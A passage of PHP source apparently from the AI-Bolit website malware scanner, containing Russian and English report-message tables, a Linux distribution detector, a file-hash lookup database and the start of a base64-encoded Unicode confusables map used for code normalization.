- 'offer.when_no_critical' => 'Обращаем внимание на то, что большинство CMS <b>без дополнительной защиты</b> рано или поздно <b>взламывают</b>.<p> Компания <a href="https://revisium.com/">"Ревизиум"</a> предлагает услугу превентивной защиты сайта от взлома с использованием уникальной <b>процедуры "цементирования сайта"</b>. Подробно на <a href="https://revisium.com/ru/client_protect/">странице услуги</a>. <p>Лучшее лечение — это профилактика.',
- 'offer_our_products' => TemplateList::OFFER_OUR_PRODUCTS_RU,
- 'offer.when_has_critical' => TemplateList::OFFER_RU,
- 'сaution.aibolit_file' => 'Не оставляйте файл отчета на сервере, и не давайте на него прямых ссылок с других сайтов. Информация из отчета может быть использована злоумышленниками для взлома сайта, так как содержит информацию о настройках сервера, файлах и каталогах.',
- 'сaution.scanner_set_password' => "Сканер AI-Bolit запускается с паролем. Если это первый запуск сканера, вам нужно придумать сложный пароль и вписать его в файле ai-bolit.php в строке №34. <p>Например, <b>'PASS', =>'%s',</b><p>
- После этого откройте сканер в браузере, указав пароль в параметре \"p\". <p>Например, так <b>http://mysite.ru/ai-bolit.php?p=%s</b>. ",
- 'сaution.quick_scanned' => '<div class="rep" style="color: #0000A0">Внимание, скрипт выполнил быструю проверку сайта. Проверяются только наиболее критические файлы, но часть вредоносных скриптов может быть не обнаружена. Пожалуйста, запустите скрипт из командной строки для выполнения полного тестирования. Подробнее смотрите в <a href="https://revisium.com/ai/faq.php">FAQ вопрос №10</a>.</div>',
- 'warning.weak_password' => "Вы установили слабый пароль на скрипт AI-BOLIT. Укажите пароль не менее 8 символов, содержащий латинские буквы в верхнем и нижнем регистре, а также цифры. Например, такой <b>%s</b>",
- 'warning.folder_read_permission' => 'Текущая директория не доступна для чтения скрипту. Пожалуйста, укажите права на доступ <b>rwxr-xr-x</b> или с помощью командной строки <b>chmod +r имя_директории</b>',
- 'warnings' => 'Предупреждения',
- 'warning.reading_error' => 'Непроверенные файлы - ошибка чтения',
- 'info.time_elapsed' => "Затрачено времени: <b>%s</b>. Сканирование начато %s, сканирование завершено %s",
- 'info.files_checked' => 'Всего проверено %s директорий и %s файлов.',
- 'info.non_commercial_use' => 'Сканер бесплатный только для личного некоммерческого использования. Информация по <a href="https://revisium.com/ai/faq.php#faq11" target=_blank>коммерческой лицензии</a> (пункт №11). <a href="https://revisium.com/images/mini_aibolit.jpg">Авторское свидетельство</a> о гос. регистрации в РосПатенте №2012619254 от 12 октября 2012 г.',
- 'critical.title' => '<div class="title">Критические замечания</div>',
- 'not_detected.shell_scripts' => 'Вирусы и вредоносные скрипты не обнаружены.',
- 'detected.shell_scripts' => 'Эти файлы могут быть вредоносными или хакерскими скриптами',
- 'detected.javascript' => 'Эти файлы могут быть javascript вирусами',
- 'detected.executables' => 'Обнаружены сигнатуры исполняемых файлов unix и нехарактерных скриптов. Они могут быть вредоносными файлами',
- 'detected.bad_links' => 'Дорвеи, реклама, спам-ссылки, редиректы',
- 'detected.phishing_pages' => 'Обнаружены фишинговые страницы',
- 'file.not_found.more_than' => 'Не найдено файлов больше чем %s',
- 'file.recommend_to_remove' => 'Временные файлы или файлы(каталоги) - кандидаты на удаление по ряду причин',
- 'file.scanned_manual' => 'Просканированы только файлы, перечисленные в %s. Для полного сканирования удалите файл %s и запустите сканер повторно.',
- 'file.suspicion.heuristic_analyze' => 'Эвристический анализ обнаружил подозрительные файлы. Проверьте их на наличие вредоносного кода.',
- 'file.encrypted' => 'Зашифрованных файлов',
- 'file.hidden' => 'Скрытых файлов',
- 'file.added' => "Добавленные файлы",
- 'file.updated' => "Измененные файлы",
- 'file.deleted' => "Удаленные файлы",
- 'file_structure.updates' => "Изменения в файловой структуре",
- 'hidden_files' => 'Скрытые файлы',
- 'doorway.might' => 'Возможно, каталог с дорвеем',
- 'doorway.not_found' => 'Не найдено директорий c дорвеями',
- 'suspicion.multiple' => 'Двойное расширение, зашифрованный контент или подозрение на вредоносный скрипт. Требуется дополнительный анализ',
- 'suspicion.malicious' => 'Подозрение на вредоносный скрипт',
- 'suspicion.htaccess' => 'Подозрение на мобильный редирект, подмену расширений или автовнедрение кода',
- 'suspicion.non_php' => 'В не .php файле содержится стартовая сигнатура PHP кода. Возможно, там вредоносный код',
- 'suspicion.hidden_link' => 'Невидимые ссылки. Подозрение на ссылочный спам',
- 'suspicion.doorway' => 'Подозрение на дорвей',
- 'suspicion.code' => 'Скрипт использует код, который часто встречается во вредоносных скриптах',
- 'suspicion.obfuscated_variables' => 'Подозрение на обфусцированные переменные',
- 'suspicion.global_array' => 'Подозрительное использование массива глобальных переменных',
- 'suspicion.file_time' => "Подозрительные параметры времени изменения файла",
- 'suspicion.file_attributes' => "Подозрительные атрибуты файла",
- 'suspicion.file_location' => "Подозрительное местоположение файла",
- 'symlinks' => 'Символические ссылки (symlinks)',
- 'hidden_links' => 'Невидимые ссылки',
- 'link.symbolic' => 'Символических ссылок',
- 'links.adware_spam' => 'Рекламных ссылок и кодов',
- 'links.empty' => 'Пустых ссылок',
- 'display_only_first' => 'Отображены только первые ',
- 'skipped.adirignore' => 'Директории из файла .adirignore были пропущены при сканировании',
- 'founded_CMS' => 'Версии найденных CMS',
- 'folder.unsafe_writable' => 'Потенциально небезопасно! Директории, доступные скрипту на запись',
- 'folder.unsafe_writable_not_found' => 'Не найдено директорий, доступных на запись скриптом',
- 'folder.added' => "Добавленные каталоги",
- 'folder.deleted' => "Удаленные каталоги",
- 'memory_used' => 'Использовано памяти при сканировании: ',
- 'notice.scan_express' => '<div class="rep">Внимание! Выполнена экспресс-проверка сайта. Просканированы только файлы с расширением .php, .js, .html, .htaccess. В этом режиме могут быть пропущены вирусы и хакерские скрипты в файлах с другими расширениями. Чтобы выполнить более тщательное сканирование, поменяйте значение настройки на <b>\'scan_all_files\' => 1</b> в строке 50 или откройте сканер в браузере с параметром full: <b><a href="ai-bolit.php?p=&full">ai-bolit.php?p=&full</a></b>. <p>Не забудьте перед повторным запуском удалить файл %s</div>',
- 'feedback_for_script' => 'Мы будем чрезвычайно благодарны за любые упоминания скрипта AI-Bolit на вашем сайте, в блоге, среди друзей, знакомых и клиентов. Ссылочку можно поставить на <a href="https://revisium.com/ai/">https://revisium.com/ai/</a>.',
- 'report_for' => 'Отчет по ',
- 'function.many_reference' => 'Много косвенных вызовов функции',
- 'str.abnormal_split' => 'Дробление строки на символы',
- 'scan.offer_modes_after_express' => 'Сканирование выполнено в экспресс-режиме. Многие вредоносные скрипты могут быть не обнаружены.<br> Рекомендуем проверить сайт в режиме "Эксперт" или "Параноидальный". Подробно описано в <a href="https://revisium.com/ai/faq.php">FAQ</a> и инструкции к скрипту.',
- 'mobile_redirects' => 'Мобильных редиректов',
- 'skipped.large_file' => 'Большие файлы (больше чем %s). Пропущено',
- 'malware' => 'Вредоносных скриптов',
- 'js_virused' => 'JS Вирусов',
- 'phishing_pages' => 'Фишинговых страниц',
- 'executable_files' => 'Исполняемых файлов',
- 'iframe_injections' => 'IFRAME вставок',
- 'skipped_large_file' => 'Пропущенных больших файлов',
- 'error.read_file' => 'Ошибок чтения файлов',
- 'suspicious' => 'Подозрительных',
- 'report.summary' => 'Сводный отчет',
- 'footer' => TemplateList::FOOTER_RU,
- 'notice.files_may_not_malicious' => "Обращаем внимание, что обнаруженные файлы не всегда являются вирусами и хакерскими скриптами. Сканер минимизирует число ложных обнаружений, но это не всегда возможно, так как найденный фрагмент может встречаться как во вредоносных скриптах, так и в обычных.<p>Для диагностического сканирования без ложных срабатываний мы разработали специальную версию <u><a href=\"https://revisium.com/ru/blog/ai-bolit-4-ISP.html\" target=_blank style=\"background: none; color: #303030\">сканера для хостинг-компаний</a></u>.",
- 'script.vulnerable' => "Уязвимости в скриптах",
- 'path' => 'Путь',
- 'property_change' => 'Изменение свойств',
- 'content_change' => 'Изменение содержимого',
- 'size' => 'Размер',
- 'php_config' => 'Конфигурация PHP',
- ];
- const EN = [
- //variables for javascript
- 'data_table.length_menu' => 'Display _MENU_ records',
- 'data_table.zero_records' => 'Not found',
- 'data_table.info' => 'Display from _START_ to _END_ of _TOTAL_ files',
- 'data_table.info_empty' => 'No files',
- 'data_table.info_filtered' => '(total _MAX_)',
- 'data_table.search' => 'Filter/Search:',
- 'data_table.paginate.first' => 'First',
- 'data_table.paginate.previous' => 'Previous',
- 'data_table.paginate.next' => 'Next',
- 'data_table.paginate.last' => 'Last',
- 'data_table.aria.sort_ascending' => ': activate to sort row ascending order',
- 'data_table.aria.sort_descending' => ': activate to sort row descending order',
- 'header.scan_report_title' => 'AI-Bolit v@@VERSION@@ Scan Report:',
- 'offer.when_no_critical' => '',
- 'offer_our_products' => TemplateList::OFFER_OUR_PRODUCTS_EN,
- 'offer.when_has_critical' => TemplateList::OFFER_EN,
- 'сaution.aibolit_file' => 'Caution! Do not leave either ai-bolit.php or report file on server and do not provide direct links to the report file. Report file contains sensitive information about your website which could be used by hackers. So keep it in safe place and don\'t leave on website!',
- 'сaution.scanner_set_password' => "Open AI-BOLIT with password specified in the beggining of file in PASS variable. <br/>E.g. http://you_website.com/ai-bolit.php?p=<b>%s</b>",
- 'сaution.quick_scanned' => '<div class="rep" style="color: #0000A0">Attention! Script has performed quick scan. It scans only .html/.js/.php files in quick scan mode so some of malicious scripts might not be detected. <br>Please launch script from a command line thru SSH to perform full scan.',
- 'warning.weak_password' => "Your password for AI-BOLIT is too weak. Password must be more than 8 character length, contain both latin letters in upper and lower case, and digits. E.g. <b>%s</b>",
- 'warning.folder_read_permission' => 'Current folder is not readable. Please change permission for <b>rwxr-xr-x</b> or using command line <b>chmod +r folder_name</b>',
- 'warnings' => 'Warnings',
- 'warning.reading_error' => 'Reading error. Skipped.',
- 'info.time_elapsed' => "<div class=\"rep\">%s malicious signatures known, %s virus signatures and other malicious code. Elapsed: <b>%s</b
- >.<br/>Started: %s. Stopped: %s</div> ",
- 'info.files_checked' => 'Scanned %s folders and %s files.',
- 'info.non_commercial_use' => 'For non-commercial use only.',
- 'critical.title' => '<div class="title">Critical</div>',
- 'detected.shell_scripts' => 'Shell script signatures detected. Might be a malicious or hacker\'s scripts',
- 'not_detected.shell_scripts' => 'Shell scripts signatures not detected.',
- 'detected.javascript' => 'Javascript virus signatures detected:',
- 'detected.executables' => 'Unix executables signatures and odd scripts detected. They might be a malicious binaries or rootkits:',
- 'detected.bad_links' => 'This script has black-SEO links or linkfarm. Check if it was installed by yourself:',
- 'detected.phishing_pages' => 'Phishing pages detected:',
- 'file.not_found.more_than' => 'Files greater than %s not found',
- 'file.recommend_to_remove' => 'Files recommended to be remove due to security reason:',
- 'file.scanned_manual' => 'Quick scan through the files from %s. For full scan remove %s and launch scanner once again.',
- 'file.suspicion.heuristic_analyze' => 'Heuristic Analyzer has detected suspicious files. Check if they are malware.',
- 'file.encrypted' => 'Encrypted files',
- 'file.hidden' => 'Hidden files',
- 'files_may_not_malicious' => "Notice! Some of detected files may not contain malicious code. Scanner tries to minimize a number of false positives, but sometimes it's impossible, because same piece of code may be used either in malware or in normal scripts.",
- 'file.added' => "Added files",
- 'file.updated' => "Modified files",
- 'file.deleted' => "Deleted files",
- 'file_structure.updates' => "Integrity Check Report",
- 'hidden_files' => 'Hidden files:',
- 'doorway.might' => 'Files might be a part of doorway:',
- 'doorway.not_found' => 'Doorway folders not detected',
- 'suspicion.multiple' => 'Suspicious encoded strings, extra .php extention or external includes detected in PHP files. Might be a malicious or hacker\'s script:',
- 'suspicion.malicious' => 'Might be a malicious or hacker\'s script:',
- 'suspicion.htaccess' => 'Malicious code in .htaccess (redirect to external server, extention handler replacement or malicious code auto-append):',
- 'suspicion.non_php' => 'Non-PHP file has PHP signature. Check for malicious code:',
- 'suspicion.hidden_link' => 'These files have invisible links, might be black-seo stuff:',
- 'suspicion.doorway' => 'Folders contained too many .php or .html files. Might be a doorway:',
- 'suspicion.code' => 'Suspicious code detected. It\'s usually used in malicious scrips:',
- 'suspicion.obfuscated_variables' => 'Suspected for obfuscated variables',
- 'suspicion.global_array' => 'Suspected for $GLOBAL array usage',
- 'suspicion.file_time' => "Suspicious file mtime and ctime",
- 'suspicion.file_attributes' => "Suspicious file permissions",
- 'suspicion.file_location' => "Suspicious file location",
- 'symlinks' => 'Symlinks:',
- 'hidden_links' => 'List of invisible links:',
- 'link.symbolic' => 'Symbolic links',
- 'links.adware_spam' => 'Adware and spam links',
- 'links.empty' => 'Empty links',
- 'display_only_first' => 'Displayed first ',
- 'skipped.adirignore' => 'The following list of files specified in .adirignore has been skipped:',
- 'founded_CMS' => 'CMS found:',
- 'folder.unsafe_writable' => 'Potentially unsafe! Folders which are writable for scripts:',
- 'folder.unsafe_writable_not_found' => 'Writable folders not found',
- 'folder.added' => "Added directories",
- 'folder.deleted' => "Deleted directories",
- 'memory_used' => 'Memory used: ',
- 'notice.scan_express' => '<div class="notice"><span class="vir">[!]</span> Ai-BOLIT is working in quick scan mode, only .php, .html, .htaccess files will be checked. Change the following setting \'scan_all_files\' => 1 to perform full scanning.</b>. </div>',
- 'feedback_for_script' => "I'm sincerely appreciate reports for any bugs you may found in the script. Please email me: <a href=\"mailto:audit@revisium.com\">audit@revisium.com</a>.<p> Also I appriciate any reference to the script in your blog or forum posts. Thank you for the link to download page: <a href=\"https://revisium.com/aibo/\">https://revisium.com/aibo/</a>",
- 'report_for' => 'Report for ',
- 'function.many_reference' => 'Function called by reference',
- 'str.abnormal_split' => 'Abnormal split of string',
- 'scan.offer_modes_after_express' => 'Scanning has been done in simple mode. It is strongly recommended to perform scanning in "Expert" mode. See readme.txt for details.',
- 'mobile_redirects' => 'Mobile redirects',
- 'skipped.large_file' => 'Large files (greater than %s! Skipped:',
- 'malware' => 'Malware',
- 'js_virused' => 'JS viruses',
- 'phishing_pages' => 'Phishing pages',
- 'executable_files' => 'Unix executables',
- 'iframe_injections' => 'IFRAME injections',
- 'skipped_large_file' => 'Skipped big files',
- 'critical.error_read_file' => 'Reading errors',
- 'suspicious' => 'Suspicious',
- 'report.summary' => 'Summary',
- 'footer' => TemplateList::FOOTER_EN,
- 'script.vulnerable' => "Vulnerable Scripts",
- 'path' => 'Path',
- 'property_change' => 'iNode Changed',
- 'content_change' => 'Modified',
- 'size' => 'Size',
- 'php_config' => 'PHP Info',
- ];
- }
- class OsReleaseInfo
- {
- private $prefix = '';
- private $release_file = '';
- const DEBIAN = ['debian'];
- const RHEL_FEDORA_CENTOS = ['rhel', 'fedora', 'centos'];
- const UNKNOWN = ['unknown'];
- private $_supported_dists = [
- 'SuSE', 'debian', 'fedora', 'redhat', 'centos',
- 'mandrake', 'mandriva', 'rocks', 'slackware', 'yellowdog', 'gentoo',
- 'UnitedLinux', 'turbolinux'];
- private $_release_filename = '(\w+)[-_](release|version)';
- private $_lsb_release_version = '(.+)'
- . ' release '
- . '([\d.]+)'
- . '[^(]*(?:\((.+)\))?';
- private $_release_version = '([^0-9]+)'
- . '(?: release )?'
- . '([\d.]+)'
- . '[^(]*(?:\((.+)\))?';
- private $release = [];
- public function __construct($prefix = '', $release_file = '/etc/os-release')
- {
- $this->prefix = $prefix;
- $this->release_file = $this->prefix . $release_file;
- $this->getRelease($this->release_file);
- }
- private function getOsReleaseAndVersion()
- {
- $ver = rtrim(@file_get_contents($this->prefix . '/etc/system-release'));
- return $ver ?: $this->release['VERSION'];
- }
- public function getOsVersion($release_and_version = false)
- {
- $rv = $release_and_version ? $release_and_version : $this->getOsReleaseAndVersion();
- if ($rv) {
- if (preg_match('~\s*(\d+\.\d+\S*)(\s|$)~', $rv, $m)) {
- return $m[1];
- }
- }
- return $this->release['VERSION_ID'] ? $this->release['VERSION_ID'] : false;
- }
- private function linuxDistribution($distname = '', $version = '', $id = '')
- {
- $dists = array_flip($this->_supported_dists);
- if (!file_exists($this->prefix . '/etc')) {
- return [$distname, $version, $id];
- }
- $file = '';
- $etc = scandir($this->prefix . '/etc');
- foreach ($etc as $file) {
- if (preg_match('~' . $this->_release_filename . '~', $file, $m)) {
- if (isset($dists[$m[1]])) {
- $_distname = $m[1];
- $distname = $m[1];
- break;
- }
- }
- }
- $f = fopen($this->prefix . '/etc/' . $file, 'r');
- $firstline = fgets($f);
- fclose($f);
- list($_distname, $_version, $_id) = $this->_parseReleaseFile($firstline);
- if ($_distname) {
- $distname = $_distname;
- }
- if ($_version) {
- $version = $_version;
- }
- if ($_id) {
- $id = $_id;
- }
- return [$distname, $version, $id];
- }
- private function _parseReleaseFile($firstline)
- {
- $version = '';
- $id = '';
- if (preg_match('~' . $this->_lsb_release_version . '~', $firstline, $m)) {
- return [$m[1], $m[2], $m[3]];
- }
- if (preg_match('~' . $this->_release_version . '~', $firstline, $m)) {
- return [$m[1], $m[2], $m[3]];
- }
- $l = preg_split("~\s+~", trim($firstline), -1, PREG_SPLIT_NO_EMPTY);
- if (!empty($l)) {
- $version = $l[0];
- if (count($l) > 1) {
- $id = $l[1];
- }
- }
- return ['', $version, $id];
- }
- private function getReleaseFromFile($release_file)
- {
- $lines = file($release_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
- foreach ($lines as $line) {
- list($k, $v) = explode('=', rtrim($line), 2);
- $this->release[$k] = trim($v, '"');
- }
- if (isset($this->release['ID_LIKE'])) {
- $this->release['ID_LIKE'] = preg_split('~\s+~', $this->release['ID_LIKE'], -1, PREG_SPLIT_NO_EMPTY);
- } else {
- $this->release['ID_LIKE'] = [$this->release['ID']];
- }
- }
- private function getRelease($release_file = '')
- {
- if (count($this->release) != 0) {
- return $this->release;
- }
- if ($this->release_file) {
- $release_file = $this->release_file;
- }
- $osid = '';
- if (file_exists($release_file)) {
- $this->getReleaseFromFile($release_file);
- } else {
- $d = $this->linuxDistribution();
- if ($d && isset($d[0])) {
- $osid = current(preg_split('~\s+~', strtolower($d[0]), -1, PREG_SPLIT_NO_EMPTY));
- if ($osid == 'red' && strpos($d[0], 'Red Hat Enterprise Linux')) {
- $osid = 'rhel';
- }
- $this->release['ID'] = $osid;
- $this->release['PRETTY_NAME'] = "{$d[0]} {$d[1]} ({$d[2]})";
- if (in_array($osid, ['cloudlinux', 'centos', 'rhel'])) {
- $this->release['ID_LIKE'] = self::RHEL_FEDORA_CENTOS;
- } else if (in_array($osid, ['ubuntu', 'debian'])) {
- $this->release['ID_LIKE'] = self::DEBIAN;
- } else {
- $this->release['ID_LIKE'] = self::UNKNOWN;
- }
- } else {
- $this->release['ID'] = 'unknown';
- $this->release['ID_LIKE'] = self::UNKNOWN;
- $this->release['PRETTY_NAME'] = 'unknown';
- }
- }
- return $this->release;
- }
- public function getIdLike()
- {
- $rel = $this->getRelease();
- return $rel['ID_LIKE'];
- }
- public function isIdLikeCentos()
- {
- $rel = $this->getRelease();
- foreach (self::RHEL_FEDORA_CENTOS as $os) {
- if (in_array($os, $rel['ID_LIKE'])) {
- return true;
- }
- }
- return false;
- }
- public function getPrettyName()
- {
- $rel = $this->getRelease();
- return $rel['PRETTY_NAME'];
- }
- public function getOs()
- {
- $rel = $this->getRelease();
- return $rel['ID'];
- }
- public function isRhel()
- {
- return $this->getOs() == 'rhel';
- }
- public function isCentos()
- {
- return $this->getOs() == 'centos';
- }
- public function isUbuntu()
- {
- return $this->getOs() == 'ubuntu';
- }
- public function isCloudlinux()
- {
- return $this->getOs() == 'cloudlinux';
- }
- public function isDebian()
- {
- return $this->getOs() == 'debian';
- }
- }
- /**
- * Class FileHashMemoryDb.
- *
- * Implements operations to load the file hash database into memory and work with it.
- */
- class FileHashMemoryDb
- {
- const HEADER_SIZE = 1024;
- const ROW_SIZE = 20;
- /**
- * @var int
- */
- private $count;
- /**
- * @var array
- */
- private $header;
- /**
- * @var resource
- */
- private $fp;
- /**
- * @var array
- */
- private $data;
- /**
- * Creates a new DB file and open it.
- *
- * @param $filepath
- * @return FileHashMemoryDb
- * @throws Exception
- */
- public static function create($filepath)
- {
- if (file_exists($filepath)) {
- throw new Exception('File \'' . $filepath . '\' already exists.');
- }
- $value = pack('V', 0);
- $header = array_fill(0, 256, $value);
- file_put_contents($filepath, implode($header));
- return new self($filepath);
- }
- /**
- * Opens a particular DB file.
- *
- * @param $filepath
- * @return FileHashMemoryDb
- * @throws Exception
- */
- public static function open($filepath)
- {
- if (!file_exists($filepath)) {
- throw new Exception('File \'' . $filepath . '\' does not exist.');
- }
- return new self($filepath);
- }
- /**
- * FileHashMemoryDb constructor.
- *
- * @param mixed $filepath
- * @throws Exception
- */
- private function __construct($filepath)
- {
- $this->fp = fopen($filepath, 'rb');
- if (false === $this->fp) {
- throw new Exception('File \'' . $filepath . '\' can not be opened.');
- }
- try {
- $this->header = unpack('V256', fread($this->fp, self::HEADER_SIZE));
- $this->count = (int) (max(0, filesize($filepath) - self::HEADER_SIZE) / self::ROW_SIZE);
- foreach ($this->header as $chunk_id => $chunk_size) {
- if ($chunk_size > 0) {
- $str = fread($this->fp, $chunk_size);
- } else {
- $str = '';
- }
- $this->data[$chunk_id] = $str;
- }
- } catch (Exception $e) {
- throw new Exception('File \'' . $filepath . '\' is not a valid DB file. An original error: \'' . $e->getMessage() . '\'');
- }
- }
- /**
- * Calculates and returns number of hashes stored in a loaded database.
- *
- * @return int number of hashes stored in a DB
- */
- public function count()
- {
- return $this->count;
- }
- /**
- * Find hashes in a DB.
- *
- * @param array $list of hashes to find in a DB
- * @return array list of hashes from the $list parameter that are found in a DB
- */
- public function find($list)
- {
- sort($list);
-
- $hash = reset($list);
- $found = array();
- foreach ($this->header as $chunk_id => $chunk_size) {
- if ($chunk_size > 0) {
- $str = $this->data[$chunk_id];
- do {
- $raw = pack("H*", $hash);
- $id = ord($raw[0]) + 1;
- if ($chunk_id == $id AND $this->binarySearch($str, $raw)) {
- $found[] = (string)$hash;
- }
- } while ($chunk_id >= $id AND $hash = next($list));
- if ($hash === false) {
- break;
- }
- }
- }
- return $found;
- }
- /**
- * Searches $item in the $str using an implementation of the binary search algorithm.
- *
- * @param $str
- * @param $item
- * @return bool
- */
- private function binarySearch($str, $item) {
- $item_size = strlen($item);
- if ($item_size == 0) {
- return false;
- }
- $first = 0;
- $last = floor(strlen($str) / $item_size);
- while ($first < $last) {
- $mid = $first + (($last - $first) >> 1);
- $b = substr($str, $mid * $item_size, $item_size);
- if (strcmp($item, $b) <= 0) {
- $last = $mid;
- } else {
- $first = $mid + 1;
- }
- }
- $b = substr($str, $last * $item_size, $item_size);
- if ($b == $item) {
- return true;
- } else {
- return false;
- }
- }
- /**
- * FileHashDB destructor.
- */
- public function __destruct()
- {
- fclose($this->fp);
- }
- }
- class FilepathEscaper
- {
- public static function encodeFilepath($filepath)
- {
- return str_replace(array('\\', "\n", "\r"), array('\\\\', '\\n', '\\r'), $filepath);
- }
-
- public static function decodeFilepath($filepath)
- {
- return preg_replace_callback('~(\\\\+)(.)~', function ($matches) {
- $count = strlen($matches[1]);
- if ($count % 2 === 0) {
- return str_repeat('\\', $count/2) . $matches[2];
- }
- return str_repeat('\\', floor($count/2)) . stripcslashes('\\' . $matches[2]);
- }, $filepath);
- }
-
- public static function encodeFilepathByBase64($filepath)
- {
- return base64_encode($filepath);
- }
-
- public static function decodeFilepathByBase64($filepath_base64)
- {
- return base64_decode($filepath_base64);
- }
- }
- class StringToStreamWrapper {
- const WRAPPER_NAME = 'var';
- private static $_content;
- private $_position;
- /**
- * Prepare a new memory stream with the specified content
- * @return string
- */
- public static function prepare($content)
- {
- if (!in_array(self::WRAPPER_NAME, stream_get_wrappers())) {
- stream_wrapper_register(self::WRAPPER_NAME, get_class());
- }
- self::$_content = $content;
- }
- public function stream_open($path, $mode, $options, &$opened_path)
- {
- $this->_position = 0;
- return true;
- }
- public function stream_read($count)
- {
- $ret = substr(self::$_content, $this->_position, $count);
- $this->_position += strlen($ret);
- return $ret;
- }
- public function stream_stat()
- {
- return array();
- }
- public function stream_eof()
- {
- return $this->_position >= strlen(self::$_content);
- }
- public function stream_set_option($option , $arg1, $arg2 )
- {
- return true;
- }
- }
- class Normalization
- {
- private static $confusables = "YToxNTYxOntzOjM6IuKAqCI7czoxOiIgIjtzOjM6IuKAqSI7czoxOiIgIjtzOjM6IuGagCI7czoxOiIgIjtzOjM6IuKAgCI7czoxOiIgIjtzOjM6IuKAgSI7czoxOiIgIjtzOjM6IuKAgiI7czoxOiIgIjtzOjM6IuKAgyI7czoxOiIgIjtzOjM6IuKAhCI7czoxOiIgIjtzOjM6IuKAhSI7czoxOiIgIjtzOjM6IuKAhiI7czoxOiIgIjtzOjM6IuKAiCI7czoxOiIgIjtzOjM6IuKAiSI7czoxOiIgIjtzOjM6IuKAiiI7czoxOiIgIjtzOjM6IuKBnyI7czoxOiIgIjtzOjI6IsKgIjtzOjE6IiAiO3M6Mzoi4oCHIjtzOjE6IiAiO3M6Mzoi4oCvIjtzOjE6IiAiO3M6Mjoi37oiO3M6MToiXyI7czozOiLvuY0iO3M6MToiXyI7czozOiLvuY4iO3M6MToiXyI7czozOiLvuY8iO3M6MToiXyI7czozOiLigJAiO3M6MToiLSI7czozOiLigJEiO3M6MToiLSI7czozOiLigJIiO3M6MToiLSI7czozOiLigJMiO3M6MToiLSI7czozOiLvuZgiO3M6MToiLSI7czoyOiLblCI7czoxOiItIjtzOjM6IuKBgyI7czoxOiItIjtzOjI6IsuXIjtzOjE6Ii0iO3M6Mzoi4oiSIjtzOjE6Ii0iO3M6Mzoi4p6WIjtzOjE6Ii0iO3M6Mzoi4rK6IjtzOjE6Ii0iO3M6Mjoi2I0iO3M6MToiLCI7czoyOiLZqyI7czoxOiIsIjtzOjM6IuKAmiI7czoxOiIsIjtzOjI6IsK4IjtzOjE6IiwiO3M6Mzoi6pO5IjtzOjE6IiwiO3M6Mjoizb4iO3M6MToiOyI7czozOiLgpIMiO3M6MToiOiI7czozOiLgqoMiO3M6MToiOiI7czozOiLvvJoiO3M6MToiOiI7czoyOiLWiSI7czoxOiI6IjtzOjI6ItyDIjtzOjE6IjoiO3M6Mjoi3IQiO3M6MToiOiI7czozOiLhm6wiO3M6MToiOiI7czozOiLvuLAiO3M6MToiOiI7czozOiLhoIMiO3M6MToiOiI7czozOiLhoIkiO3M6MToiOiI7czozOiLigZoiO3M6MToiOiI7czoyOiLXgyI7czoxOiI6IjtzOjI6Isu4IjtzOjE6IjoiO3M6Mzoi6p6JIjtzOjE6IjoiO3M6Mzoi4oi2IjtzOjE6IjoiO3M6Mjoiy5AiO3M6MToiOiI7czozOiLqk70iO3M6MToiOiI7czozOiLvvIEiO3M6MToiISI7czoyOiLHgyI7czoxOiIhIjtzOjM6IuK1kSI7czoxOiIhIjtzOjI6IsqUIjtzOjE6Ij8iO3M6MjoiyYEiO3M6MToiPyI7czozOiLgpb0iO3M6MToiPyI7czozOiLhjq4iO3M6MToiPyI7czozOiLqm6siO3M6MToiPyI7czo0OiLwnYWtIjtzOjE6Ii4iO3M6Mzoi4oCkIjtzOjE6Ii4iO3M6Mjoi3IEiO3M6MToiLiI7czoyOiLcgiI7czoxOiIuIjtzOjM6IuqYjiI7czoxOiIuIjtzOjQ6IvCQqZAiO3M6MToiLiI7czoyOiLZoCI7czoxOiIuIjtzOjI6ItuwIjtzOjE6Ii4iO3M6Mzoi6pO4IjtzOjE6Ii4iO3M6Mzoi44O7IjtzOjE6IrciO3M6Mzoi772lIjtzOjE6IrciO3M6Mzoi4ZurIjtzOjE6IrciO3M6MjoizociO3M6MToityI7czozOiLiuLEiO3M6MToityI7czo0OiLwkISBIjtzOjE6IrciO3M6Mzoi4oCiIjtzOjE6IrciO3M6Mzoi4oCnIjtzOjE6IrciO3M6Mzoi4oiZIjtzOjE6IrciO3M6Mzoi4ouFIjtzOjE6IrciO3M6Mzoi6p6PIjtzOjE6IrciO3M6Mzoi4ZCnIjtzOjE6IrciO3M6Mjoi1Z0iO3M6MToiJyI7czozOiLvvIciO3M6MToiJyI7czozOiLigJgiO3M6MToiJyI7czozOiLigJkiO3M6MToiJyI7czozOiLigJsiO3M6MToiJyI7czozOiLigLIiO3M6MToiJyI7czozOiLigLUiO3M6MToiJyI7czoyOiLVmiI7czoxOiInIjtzOjI6ItezIjtzOjE6IiciO3M6MToiYCI7czoxOiInIjtzOjM6IuG/ryI7czoxOiInIjtzOjM6Iu+9gCI7czoxOiInIjtzOjI6IsK0IjtzOjE6IiciO3M6MjoizoQiO3M6MToiJyI7czozOiLhv70iO3M6MToiJyI7czozOiLhvr0iO3M6MToiJyI7czozOiLhvr8iO3M6MToiJyI7czozOiLhv74iO3M6MToiJyI7czoyOiLKuSI7czoxOiInIjtzOjI6Is20IjtzOjE6IiciO3M6Mjoiy4giO3M6MToiJyI7czoyOiLLiiI7czoxOiInIjtzOjI6IsuLIjtzOjE6IiciO3M6Mjoiy7QiO3M6MToiJyI7czoyOiLKuyI7czoxOiInIjtzOjI6Isq9IjtzOjE6IiciO3M6MjoiyrwiO3M6MToiJyI7czoyOiLKviI7czoxOiInIjtzOjM6IuqejCI7czoxOiInIjtzOjI6IteZIjtzOjE6IiciO3M6Mjoi37QiO3M6MToiJyI7czoyOiLftSI7czoxOiInIjtzOjM6IuGRiiI7czoxOiInIjtzOjM6IuGbjCI7czoxOiInIjtzOjQ6IvCWvZEiO3M6MToiJyI7czo0OiLwlr2SIjtzOjE6IiciO3M6Mzoi77y7IjtzOjE6IigiO3M6Mzoi4p2oIjtzOjE6IigiO3M6Mzoi4p2yIjtzOjE6IigiO3M6Mzoi44CUIjtzOjE6IigiO3M6Mzoi77S+IjtzOjE6IigiO3M6Mzoi77y9IjtzOjE6IikiO3M6Mzoi4p2pIjtzOjE6IikiO3M6Mzoi4p2zIjtzOjE6IikiO3M6Mzoi44CVIjtzOjE6IikiO3M6Mzoi77S/IjtzOjE6IikiO3M6Mzoi4p20IjtzOjE6InsiO3M6NDoi8J2ElCI7czoxOiJ7IjtzOjM6I